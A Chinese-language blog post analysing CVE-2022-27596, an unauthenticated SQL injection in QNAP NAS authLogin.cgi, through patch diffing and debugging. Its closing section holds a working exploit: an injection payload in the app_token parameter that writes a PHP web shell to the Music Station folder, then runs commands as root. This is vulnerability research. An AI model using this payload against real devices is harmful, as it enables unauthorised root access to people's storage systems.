2023 年 1 月 30 日,QNAP 官方公布了影响 QNAP NAS 设备的漏洞 CVE-2022-27596,本文对此漏洞的成因进行分析。
环境准备
本次复现我们使用设备 TS-532X,这是一款具有 5 个磁盘插槽的桌面 NAS 设备,支持 QTS 5.0.1 系统。
存在漏洞的相关程序我已经上传至网盘,提取码:4rn6。感兴趣的朋友可以下载分析。
补丁对比
官方通告中只简单描述了漏洞危害,根据 json 附件和第三方信息可以大体确定,这是一个 SQL 注入漏洞。
首先下载到两个临界版本(QTS 5.0.1.2194 build 20221022 和 QTS 5.0.1.2234 build 20221201),解压后比对文件系统,web 目录下发生变化的程序不是很多,鉴于该漏洞无需授权即可利用,排除掉一些后台接口之后,可以发现 authLogin.cgi 比较可疑。
使用 Bindiff 比较两个版本程序
发生变化的仅有两个函数,第一个函数实际逻辑没有变化,我们重点关注第二个函数。
sub_408bb8 是 authLogin.cgi 的主要处理函数,限于篇幅这里不列出完整代码。两个版本的差异主要在于一些字符串发生了变化:
1 | // 2194 |
除字符串之外代码逻辑变化较小,且没有发现 SQL 相关操作。我们猜测主要漏洞可能位于 authLogin.cgi 使用的 so 库中。
对比两个版本的 so 库目录,找到一些存在差异的文件,通过搜索函数可以找到关键文件 libuLinux_NAS.so.0.0,同样使用 bindiff 比较:
逐个分析,最终找到关键函数 sub_63D58(2194 版本),列举两个版本代码如下
1 | // 2194 |
1 | // 2234 |
此函数使用一些参数拼接 sqlite 查询语句并执行,不难发现旧版本中在拼接 SQL 语句时对字符串使用了 %s,而没有使用安全的 %q。
至此可以猜测此函数为最终漏洞点,接下来通过交叉引用尝试从 authLogin.cgi 定位相关代码。
在 authLogin.cgi 的处理逻辑中,当用户传入名为 app 的参数时,会进入 app_handler 函数:
1 | __int64 __fastcall app_handler(__int64 a1) |
此函数会调用 so 库中的 Verify_App_Token,最终使用到存在漏洞的函数。
此函数逻辑比较复杂,简要描述从函数入口到 Verify_App_Token 调用位置流程:首先获取 app、user 等必要参数,然后判断用户是否传入了 gen_client_id,如果没有,则调用 Get_App_Token_Support 并传入 app 参数,尝试获取 app 相关配置信息。
Get_App_Token_Support 函数调用 lib 库中的 Get_App_Token_Support_List,此函数使用一些固定字符串构造出一系列 app 对象并返回,包括 MUSIC_STATION、PHOTO_STATION 等。
之后代码会判断用户传入的 app 参数是否和这些 app 对象中的一个相匹配,如果找不到任何匹配则退出。
如果找到了某个匹配,继续判断用户是否传入了 app_token 参数,如果用户传递了 app_token,并且没有传递 renew、auth、client_id 三个参数,代码就会调用 Verify_App_Token 并将 app_token 作为参数传入。
之后就会来到漏洞点,将 app_token 拼接到 token 查询语句之后,使用 sqlite3_exec 执行。
漏洞利用
我们可以通过调试来确定以上分析是否正确。目标程序为一个动态调用的 cgi,可通过循环附加实现调试。
上传一个 gdbserver 到文件系统,然后在设备上执行命令:
1 | while true;do ./gdbserver 0.0.0.0:12345 --attach `ps | grep authLogin | head -n1 | awk '{print $1}'`;done |
客户端 gdb 调试文件
1 | file ./home/httpd/cgi-bin/authLogin.cgi |
我们将断点下在调用 Verify_App_Token 函数的位置。
发送以下数据包,注意要在 client_agent 参数中填入较多的字符,否则程序运行太快会错过关键位置。
1 | POST /cgi-bin/authLogin.cgi HTTP/1.1 |
发包之后 gdb 在断点位置断下,找到 libLinux_NAS 库文件的基地址,加上偏移量,在漏洞函数 sqlite3_exec 位置下断点。
执行到 sqlite3_exec 时,sql 语句的内容为 SELECT * FROM QTOKEN WHERE token = '123' ;
,token 部分刚好是我们传递的 app_token 参数值。
目标数据库为 sqlite,通用手段可以通过 ATTACH DATABASE 创建后门 php 文件,这里列举一种利用方法:QNAP 系统中有一些使用率较高的插件是由 PHP 编写的,比如我们这台设备中安装了 Music Station,这是一个可以整合设备上音乐资源的程序,其安装路径默认位于 /share/CACHEDEV1_DATA/.qpkg/musicstation/
,我们通过漏洞在该路径下创建一个后门文件 qnaptest.php,payload 如下
1 | 123';ATTACH DATABASE '/share/CACHEDEV1_DATA/.qpkg/musicstation/qnaptest.php' AS qnapkey;CREATE TABLE qnapkey.key (dataz text);INSERT INTO qnapkey.key (dataz) VALUES ("<?php system($_GET['cmd']); ?>");-- |
将其 URL 编码放在 app_token 参数中,发包后可以看到 qnaptest.php 成功创建:
之后访问该文件即可以 root 身份执行命令
1 | GET /musicstation/qnaptest.php?cmd=id HTTP/1.1 |
参考文章/拓展阅读
QNAP 官方发布的漏洞通告。
CWE-89 的定义。
第三方安全通告。
- 本文作者: Catalpa
- 本文链接: https://wzt.ac.cn/2023/02/06/CVE-2022-27596/
-
版权声明:
本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。